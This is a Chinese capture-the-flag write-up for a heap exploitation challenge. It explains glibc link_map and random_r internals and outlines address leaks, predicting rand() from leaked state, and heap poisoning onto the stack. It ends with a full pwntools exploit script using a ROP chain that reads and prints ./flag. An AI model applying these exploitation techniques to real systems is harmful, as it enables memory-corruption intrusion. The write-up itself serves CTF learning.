struct link_map{/* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */ElfW(Addr) l_addr;          /* Difference between the address in the ELF file and the addresses in memory. */char *l_name;               /* Absolute file name object was found in. */ElfW(Dyn) *l_ld;            /* Dynamic section of the shared object. */struct link_map *l_next, *l_prev; /* Chain of loaded objects. */};

遍历link_map,对比l_name,找到目标之后,就可以通过l_addr获得那个库的基址,当然,前提是二进制文件需要有DT_DEBUG。
通过show,先泄露r_debug地址(ld地址), 遍历linkmap寻找后发现libc的link_map与泄露的ld地址有固定偏移,然后计算偏移,下次show即可泄露(感觉泄露libc地址直接输出got表就行)

随机数

  • struct random_data *buf: 包含随机数生成器状态的结构体。
  • int32_t *result: 指向存储生成的随机数的变量。

int
__random_r (struct random_data *buf, int32_t *result)
{int32_t *state;if (buf == NULL || result == NULL)goto fail;state = buf->state;if (buf->rand_type == TYPE_0){int32_t val = ((state[0] * 1103515245U) + 12345U) & 0x7fffffff;state[0] = val;*result = val;}else{int32_t *fptr = buf->fptr;int32_t *rptr = buf->rptr;int32_t *end_ptr = buf->end_ptr;uint32_t val;val = *fptr += (uint32_t) *rptr;/* Chucking least random bit.  */*result = val >> 1;++fptr;if (fptr >= end_ptr){fptr = state;++rptr;}else{++rptr;if (rptr >= end_ptr)rptr = state;}buf->fptr = fptr;buf->rptr = rptr;}return 0;fail:__set_errno (EINVAL);return -1;
}weak_alias (__random_r, random_r)#define	TYPE_3		3
#define	BREAK_3		128
#define	DEG_3		31
#define	SEP_3		3static struct random_data unsafe_state ={
/* FPTR and RPTR are two pointers into the state info, a front and a rearpointer.  These two pointers are always rand_sep places apart, as theycycle through the state information.  (Yes, this does mean we could getaway with just one pointer, but the code for random is more efficientthis way).  The pointers are left positioned as they would be from the call:initstate(1, randtbl, 128);(The position of the rear pointer, rptr, is really 0 (as explained abovein the initialization of randtbl) because the state table pointer is setto point to randtbl[1] (as explained below).)  */.fptr = &randtbl[SEP_3 + 1],.rptr = &randtbl[1],/* The following things are the pointer to the state information table,the type of the current generator, the degree of the current polynomialbeing used, and the separation between the two pointers.Note that for efficiency of random, we remember the first location ofthe state information, not the zeroth.  Hence it is valid to accessstate[-1], which is used to store the type of the R.N.G.Also, we remember the last location, since this is more efficient thanindexing every time to find the address of the last element to see ifthe front and rear pointers have wrapped.  */.state = &randtbl[1],.rand_type = TYPE_3,.rand_deg = DEG_3,.rand_sep = SEP_3,.end_ptr = &randtbl[sizeof (randtbl) / sizeof (randtbl[0])]
};

参考汇编和源码后大致逻辑如下

  1. rand_type默认为TYPE_3,故不是直接采用线性同余产生随机数
  2. 队头fptr 自加队尾值rptr ,将此值保存为结果,然后队头队尾统一后移一项,再将结果作为生成的随机数返回即可。(fptr刚开始为第4个,总共32个,所以需要调用rand很多次才可能进入fptr >= end_ptr,所以当前edit可以认为都是else情况)

调用一次rand后fptr 和rptr 都后移四
在这里插入图片描述
这里泄露fptr 和rptr 和fptr +0x10的内容(正好八个)

思路

  1. size是0x90,free一个,然后show可以泄露heap地址
  2. nouse输满\xff,然后show负越界泄露pie地址,进而能够得到heap_list的起始地址
    在这里插入图片描述
  3. 然后show正越界泄露r_debug地址(也可以直接泄露got内的libc地址),然后根据r_debug地址偏移得到libc的link_map地址所在的地址,再得到和pie上的heap_list的偏移来show泄露libc地址
  4. 然后根据libc地址得到&randtbl[1+3]所在的地址和&randtbl[1]的地址所在的地址(unsafe_state 中有即&unsafe_state 和&unsafe_state +8),然后show泄露randtbl的内容(fptr 和rptr 和fptr +0x10的内容,每个泄露四个 泄露environ栈地址同理)或者也可以用edit_name写libc地址和show负越界来泄露
  5. 然后根据rand函数和泄露的randtbl来绕过rand在这里插入图片描述
    然后每次rand后会将fptr当前值和rptr当前值相加给fptr,由于fptr的数组和rptr的数组都是一直往右走的,由于我们最后输入八个字节到heap的next区域,所以此时根据处理函数会进行循环两次,总共八次rand,fptr和rptr移动八次,fptr这里是够的,所以最后更新的相加的值加到rptr后面
    在这里插入图片描述
  6. 最后分配到将栈地址进行相关rand处理,然后分配到栈上去,注意选择栈地址要保证对齐,不断往小尝试,这里将分配到read函数的返回地址所在的栈的位置处
    . 在这里插入图片描述
    . 在这里插入图片描述
    这里直接利用read函数残留的寄存器再次调用read的系统调用,而且地址就是刚刚调用过的

在这里插入图片描述
然后再次调用read先填充之前的,直到当前的ret对应的返回地址才开始rop
在这里插入图片描述

exp

from pwn import *s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch      = 'amd64'
context.log_level = 'debug'binary = './pwn'
libelf = ''if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)gdbscript = '''
#continue
'''.format(**locals())io = process("./pwn")def add(idx):ru('>>>')s(p32(0x48260A))ru('idx:')s(p8(idx))def edit(idx,text):ru('>>>')s(p32(0x4E430A))ru('idx:')s(p8(idx))ru('input: ')s(text)def show(idx):ru('>>>')s(p32(0x54460A))ru('idx:')s(p64(idx)[:-1])ru('ciphertext: ')def rm(idx):ru('>>>')s(p32(0x7B7D0A))ru('idx:')s(p8(idx))def edit_name(name):ru('>>>')s(p32(0x50460A))ru('>>> ')s(p32(0x65646974))ru(': ')s(name)def show_name():ru('>>>')s(p32(0x50460A))ru('>>> ')s(p32(0x73686F77))def backdoor(text):ru('>>>')s(p32(0x62640A))s(text)def rdata():ru('=============================\n')data = bytes.fromhex(rl().decode().replace(' ',''))return dataadd(0)
add(1)
rm(0)
rm(1)show(0)
data = rdata()
key  = uu64(data[:8])
heap_addr = key << 0xClss('heap_addr')backdoor('\xff'*0x38)show((1<<64)-0x13)elf_base = uu64(rdata()[:8]) - 16392heap_list = elf_base + 0x40A0
lss('heap_list')show(1068)libc_ptr= uu64((rdata()[8:])) - 0x3c9b8-0x1c8-0x558lss('libc_ptr')# leak libc_base
offset = (libc_ptr - heap_list) // 8
show(offset)
libc_base  = uu64((rdata()[:8]))
lss('libc_base')print("libc",libc_base)ptr1 = libc_base + 2205792 #   &randtbl[1+3]
ptr2 = libc_base + 2205792 + 8 # &randtbl[1]
lss('ptr1')
lss('ptr2')
offset = (ptr1 - heap_list) // 8show(offset) # randtbl[1+3] 4 content
data1  = rdata()offset = (ptr2 - heap_list) // 8show(offset) # randtbl[1] 4 content
data2  = rdata()print("data1",data1)
print("data2",data2)environ = libc_base + libc.sym['environ']
offset = libc_base + 2204196 # unsafe_state
lss('environ')
lss('offset')
name = p64(offset) + p64(environ)[:-2]
edit_name(name)backdoor('\xff'*0x38)
show((1<<64)-0xC)
data3  = rdata()
print(data3) # randtbl[1+3+4] 4 contentbackdoor('\xff'*0x38)
show((1<<64)-0xb)
stack  = uu64(rdata()[:8]) - 8 # name+8lss('stack')edx = [ uu32(data1[_:_+4]) for _ in range(0,len(data1),4)]
ecx = [ uu32(data2[_:_+4]) for _ in range(0,len(data2),4)]tmp = [ uu32(data3[_:_+4]) for _ in range(0,len(data3),4)]
print(ecx)
print(edx)
print(tmp)edx += tmpunsafe_state = 0
def me_rand(): # 直接gdb 跟进 rand() 看看随机数是怎么生成的,global unsafe_statei = unsafe_stateprint(ecx)print(edx)ecx_ = ecx[i]edx_ = edx[i]eax = ecx_ + edx_eax = eax & 0xFFFFFFFFprint('add',eax)ecx.append(1)ecx[i+3] = eaxeax = eax >> 1eax = eax & 0xFFFFFFFFprint(hex(eax))unsafe_state += 1return eax
#队头自加队尾值,将此值保存为结果,然后队头队尾统一后移一项,再将结果作为生成的随机数返回即可。def encrypto(eax):v5 = me_rand() % 703710v6 = me_rand() ^ v5v2 = (v6 + me_rand() + v5) & 0xFFFFFFFFeax ^= v2 - me_rand()return eaxret_stack = ((stack-0x190)^ key)
low  = encrypto(ret_stack & 0xFFFFFFFF)
high = encrypto(ret_stack >> 32 ) << 32expdata = high + lowprint(expdata)gdb.attach(io)edit(1,p64(expdata))add(2)
add(3)pause()
rax = libc_base + 0x0000000000045eb0 # pop rax ; ret
rdx = libc_base + 0x000000000011f2e7 # pop rdx ; pop r12 ; ret
rdi = libc_base + 0x2a3e5 # pop rdi ; ret
rsi = libc_base + 0x02be51 # pop rsi ; ret
syscall = libc_base + libc.sym['read'] + 16 # syscallpay  =  b"a"*0x28
pay += p64(rax) + p64(0)    # 0x38
pay += p64(rdx) + p64(0x1000)*2 # 0x50
pay += p64(syscall)
edit(3,pay)# #define __NR_openat2 437flag_addr = stack-0x68pay  = b'b' * 0x58 #
pay += p64(rax) + p64(0x101) + p64(rdi) + p64(rax) + p64(0x101) + p64(rdi)+p64(0xffffffffffffff9c) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0) * 2 + p64(syscall)
pay += p64(rdi) + p64(3) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0x100) * 2 + p64(libc_base + libc.sym['read'])
pay += p64(rdi) + p64(1) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0x100) * 2 + p64(libc_base + libc.sym['write'])
pay += b'./flag'.ljust(0x8,b'\x00')sl(pay)
io.interactive()

在这里插入图片描述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 以Zookeeper为例 浅谈脑裂与奇数节点问题
  • 东京裸机云多IP服务器全面分析
  • 数学建模学习(2)——决策树
  • OpenCV 安装与基础使用教程(Python)
  • RabbitMQ的学习和模拟实现|GTest测试框架的介绍和简单使用
  • 数据结构代码
  • Git基本使用
  • 3D建模软件--犀牛Rhino for Mac
  • Python应用—浅谈利用opencv去除水印
  • 创建最佳实践创建 XML 站点地图--SEO
  • 谷粒商城实战笔记-42-前端基础-Vue-生命周期和钩子函数
  • 深入浅出WebRTC—ULPFEC
  • 挖掘基于边缘无线协同感知的低功耗物联网 (LPIOT) 的巨大潜力
  • 《梦醒蝶飞:释放Excel函数与公式的力量》18.2 数据可视化技术
  • Lianwei 安全周报|2024.07.22
  • extjs4学习之配置
  • k个最大的数及变种小结
  • miaov-React 最佳入门
  • October CMS - 快速入门 9 Images And Galleries
  • Rancher如何对接Ceph-RBD块存储
  • SOFAMosn配置模型
  • springboot_database项目介绍
  • 阿里研究院入选中国企业智库系统影响力榜
  • 关于extract.autodesk.io的一些说明
  • 解决jsp引用其他项目时出现的 cannot be resolved to a type错误
  • 那些年我们用过的显示性能指标
  • 驱动程序原理
  • 深入浅出Node.js
  • 一些css基础学习笔记
  • 怎么将电脑中的声音录制成WAV格式
  • 深度学习之轻量级神经网络在TWS蓝牙音频处理器上的部署
  • 看到一个关于网页设计的文章分享过来!大家看看!
  • gunicorn工作原理
  • 阿里云ACE认证之理解CDN技术
  • 带你开发类似Pokemon Go的AR游戏
  • 浅谈sql中的in与not in,exists与not exists的区别
  • ​2021半年盘点,不想你错过的重磅新书
  • ​io --- 处理流的核心工具​
  • ​MySQL主从复制一致性检测
  • # 飞书APP集成平台-数字化落地
  • #QT(串口助手-界面)
  • #我与Java虚拟机的故事#连载19:等我技术变强了,我会去看你的 ​
  • (35)远程识别(又称无人机识别)(二)
  • (cos^2 X)的定积分,求积分 ∫sin^2(x) dx
  • (Matalb回归预测)PSO-BP粒子群算法优化BP神经网络的多维回归预测
  • (Python第六天)文件处理
  • (亲测有效)推荐2024最新的免费漫画软件app,无广告,聚合全网资源!
  • (心得)获取一个数二进制序列中所有的偶数位和奇数位, 分别输出二进制序列。
  • (转)memcache、redis缓存
  • .NET Core跨平台微服务学习资源
  • .net MVC中使用angularJs刷新页面数据列表
  • .NetCore部署微服务(二)
  • .考试倒计时43天!来提分啦!
  • @angular/cli项目构建--http(2)
  • @antv/x6 利用interacting方法来设置禁止结点移动的方法实现。